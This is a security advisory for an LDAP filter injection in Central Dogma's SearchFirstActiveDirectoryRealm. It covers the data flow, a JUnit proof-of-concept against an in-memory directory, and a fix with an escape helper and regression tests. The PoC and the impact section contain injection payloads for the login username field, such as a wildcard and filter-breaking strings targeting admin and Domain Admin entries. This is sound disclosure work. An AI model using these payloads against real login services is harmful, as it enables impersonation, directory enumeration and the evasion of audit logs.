Skip to content

LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion

Moderate
jrhee17 published GHSA-98q5-5qh2-7w75 Jun 22, 2026

Package

maven com.linecorp.centraldogma:centraldogma-server-auth-shiro (Maven)

Affected versions

< 0.84.0

Patched versions

0.84.0

Description

Vulnerability

SearchFirstActiveDirectoryRealm.findUserDn() substitutes the user-supplied username from the login form into an LDAP search filter template (default cn={0}) without escaping RFC 4515 filter metacharacters (*, (, ), \, NUL). Combined with SearchControls.setCountLimit(1) on the same call site, this allows three distinct attack primitives:

  1. Authentication confusion — typing username * causes the realm to construct filter cn=*, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.
  2. Audit log evasion — payload bob)(uid=alice is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).
  3. Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.

A repo-wide search for any LDAP escape helper (escapeLdap, encodeFilter, escapeFilter, ldapEscape) returns zero hits — the defense is not just missing, it was never added.

Applicability note: This realm is opt-in. The shipped default LDAP example (dist/src/conf/shiro.example.ldap.ini) uses Shiro's DefaultLdapRealm with userDnTemplate and is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in via sAMAccountName and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.

Evidence

File: server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java
Lines 148–176 on branch main @ commit d64a5151:

@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
        throws NamingException {
    LdapContext ctx = null;
    try {
        ctx = ldapContextFactory.getSystemLdapContext();

        final SearchControls ctrl = new SearchControls();
        ctrl.setCountLimit(1);                                              // line 156 — returns FIRST match only
        ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
        ctrl.setTimeLimit(searchTimeoutMillis);

        final String filter =
                searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
                                                           .replaceAll(username)  // line 162 — RAW SUBSTITUTION
                                     : username;                            // line 163
        final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
        ...

USERNAME_PLACEHOLDER = Pattern.compile("\\{0}"). Default searchFilter = "cn={0}".

Data flow from HTTP login to vulnerable substitution

Step Component
HTTP login form POST /api/v1/login form field username
ShiroLoginService.usernamePassword() (lines 198–223) applies loginNameNormalizer (Unicode lowercase only — NOT LDAP escape)
Subject.login(new UsernamePasswordToken(username, password)) Shiro hand-off
ActiveDirectoryRealm.doGetAuthenticationInfo (Shiro core) calls queryForAuthenticationInfo0
SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername()) username flows in verbatim

Repository-wide escape helper grep

Search term Hits
escapeLdap 0
encodeFilter 0
escapeFilter 0
ldapEscape 0

PoC

Self-contained JUnit 5 test using UnboundID InMemoryDirectoryServer (in-process, no external LDAP required). Drop into server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java and add com.unboundid:unboundid-ldapsdk:7.0.0 as a test dependency.

The PoC works by subclassing the realm and overriding findUserDn() to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.

/*
 * Copyright 2026 LINE Corporation
 *
 * SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
 *
 * This JUnit class demonstrates the LDAP filter injection in
 * SearchFirstActiveDirectoryRealm. Drop into
 * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
 * Adds the UnboundID LDAP SDK as a test dep.
 */
package com.linecorp.centraldogma.server.auth.shiro.realm;

import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;

import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;

import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;

@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {

    private static InMemoryDirectoryServer ds;
    private static int port;

    @BeforeAll
    static void startLdap() throws Exception {
        final InMemoryDirectoryServerConfig cfg =
                new InMemoryDirectoryServerConfig("dc=example,dc=com");
        cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
                "default", null, 0, null));
        ds = new InMemoryDirectoryServer(cfg);
        ds.startListening();
        port = ds.getListenPort();

        // Directory:
        //   cn=admin  (listed first → picked by setCountLimit(1) under wildcard)
        //   cn=alice
        ds.add(new Entry(
                "cn=admin,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: admin", "sn: admin",
                "userPassword: adminpw"));
        ds.add(new Entry(
                "cn=alice,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: alice", "sn: doe",
                "userPassword: alicepw"));
    }

    @AfterAll
    static void stopLdap() {
        if (ds != null) ds.shutDown(true);
    }

    /** Subclass that records the filter passed to ctx.search(). */
    private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
        volatile String capturedFilter;

        RecordingRealm() {
            setUrl("ldap://localhost:" + port);
            setSystemUsername("cn=admin,dc=example,dc=com");
            setSystemPassword("adminpw");
            setSearchBase("dc=example,dc=com");
            setSearchFilter("cn={0}");
        }

        @Override
        protected String findUserDn(LdapContextFactory factory, String username)
                throws javax.naming.NamingException {
            LdapContext ctx = null;
            try {
                ctx = factory.getSystemLdapContext();
                final SearchControls ctrl = new SearchControls();
                ctrl.setCountLimit(1);
                ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);

                final java.util.regex.Pattern PH =
                        java.util.regex.Pattern.compile("\\{0}");
                final String filter = PH.matcher("cn={0}").replaceAll(username);
                capturedFilter = filter;

                final javax.naming.NamingEnumeration r =
                        ctx.search("dc=example,dc=com", filter, ctrl);
                try {
                    if (!r.hasMore()) return null;
                    return r.next().getNameInNamespace();
                } finally {
                    r.close();
                }
            } finally {
                org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);
            }
        }
    }

    private static LdapContextFactory factory() {
        final JndiLdapContextFactory f = new JndiLdapContextFactory();
        f.setUrl("ldap://localhost:" + port);
        f.setSystemUsername("cn=admin,dc=example,dc=com");
        f.setSystemPassword("adminpw");
        return f;
    }

    @Test @Order(1)
    @DisplayName("baseline: typing 'alice' resolves to the alice DN")
    void baselineHonest() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        final String dn = realm.findUserDn(factory(), "alice");
        assertThat(dn).isEqualTo("cn=alice,dc=example,dc=com");
        assertThat(realm.capturedFilter).isEqualTo("cn=alice");
    }

    @Test @Order(2)
    @DisplayName("VULN: typing '*' resolves to the FIRST entry (admin), not alice")
    void wildcardLandsOnAdmin() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        final String dn = realm.findUserDn(factory(), "*");
        assertThat(realm.capturedFilter).isEqualTo("cn=*");
        assertThat(dn).isEqualTo("cn=admin,dc=example,dc=com");
        // → If the attacker also has the admin password, they log in as admin
        //   while the audit log records the typed username "*".
    }

    @Test @Order(3)
    @DisplayName("VULN: filter structure can be broken with ')' injection")
    void filterStructureInjection() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        assertThatThrownBy(() -> realm.findUserDn(factory(), "alice)(uid=*"))
                .hasMessageContaining("filter")
                .hasMessageContaining("malformed")
                .matches(t -> t instanceof javax.naming.NamingException ||
                              t.getCause() instanceof javax.naming.NamingException);
        assertThat(realm.capturedFilter).isEqualTo("cn=alice)(uid=*");
    }

    @Test @Order(4)
    @DisplayName("VULN: AND-injection can broaden the result set silently")
    void andInjectionBroadens() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        try {
            realm.findUserDn(factory(), "x)(|(cn=alice)(cn=admin");
        } catch (Exception ignored) { /* server may reject */ }
        assertThat(realm.capturedFilter).contains(")(|(");
    }
}

Build dependency (server-auth/shiro/build.gradle)

dependencies {
    testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0'
}

Run

./gradlew :server-auth-shiro:test \
  --tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \
  --info

Expected output (VULNERABLE — current code)

LdapInjectionPoCTest > baselineHonest            PASSED
LdapInjectionPoCTest > wildcardLandsOnAdmin       PASSED  ← VULN
LdapInjectionPoCTest > filterStructureInjection   PASSED  ← VULN
LdapInjectionPoCTest > andInjectionBroadens       PASSED  ← VULN

After the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. Expected captured filter to be "cn=*" but was "cn=\2a" — they then serve as regression tests by flipping the assertions.

Impact

Threat model: any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request.

  1. Authentication confusion — In AD environments that select this realm (the canonical LINE corporate scenario), typing username * causes the realm to look up the first directory entry (typically Administrator, admin, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username *.

  2. Audit log evasion / compliance failure — Payloads like bob)(uid=alice are logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of SOX §404, PCI-DSS §10, ISO 27001 A.12.4.

  3. Directory enumeration — Wildcard payloads (a*, b*, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists.

  4. Group-membership filter injection — Payload a)(objectClass=*)(memberOf=CN=Domain Admins,... (against the common AD filter (&(objectClass=user)(sAMAccountName={0}))) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is.

Scope is Changed (CVSS) because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.

How to fix

Add an RFC 4515 §3 filter escape helper and apply it before substitution:

// SearchFirstActiveDirectoryRealm.java
static String encodeLdapFilter(String v) {
    if (v == null) return "";
    final StringBuilder sb = new StringBuilder(v.length());
    for (int i = 0; i < v.length(); i++) {
        final char c = v.charAt(i);
        switch (c) {
            case '\\': sb.append("\\5c"); break;
            case '*':  sb.append("\\2a"); break;
            case '(':  sb.append("\\28"); break;
            case ')':  sb.append("\\29"); break;
            case '\0': sb.append("\\00"); break;
            default:   sb.append(c);
        }
    }
    return sb.toString();
}

// inside findUserDn():
final String escaped = encodeLdapFilter(username);
final String filter =
        searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
                                                   .replaceAll(Matcher.quoteReplacement(escaped))
                             : escaped;

Notes:

  • Matcher.quoteReplacement is required because the escape produces backslashes (\5c) that Matcher.replaceAll would otherwise interpret as backreferences.
  • DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a filter, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.
  • Do not rely on loginNameNormalizer for this defense — it is Unicode lowercase only.

Regression tests (drop into same test class)

@Test
void escapeBlocksFilterInjection() {
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("*")).isEqualTo("\\2a");
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("alice)(uid=*"))
            .isEqualTo("alice\\29\\28uid=\\2a");
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("a\\b")).isEqualTo("a\\5cb");
}

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N

CVE ID

CVE-2026-11748

Weaknesses

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component. Learn more on MITRE.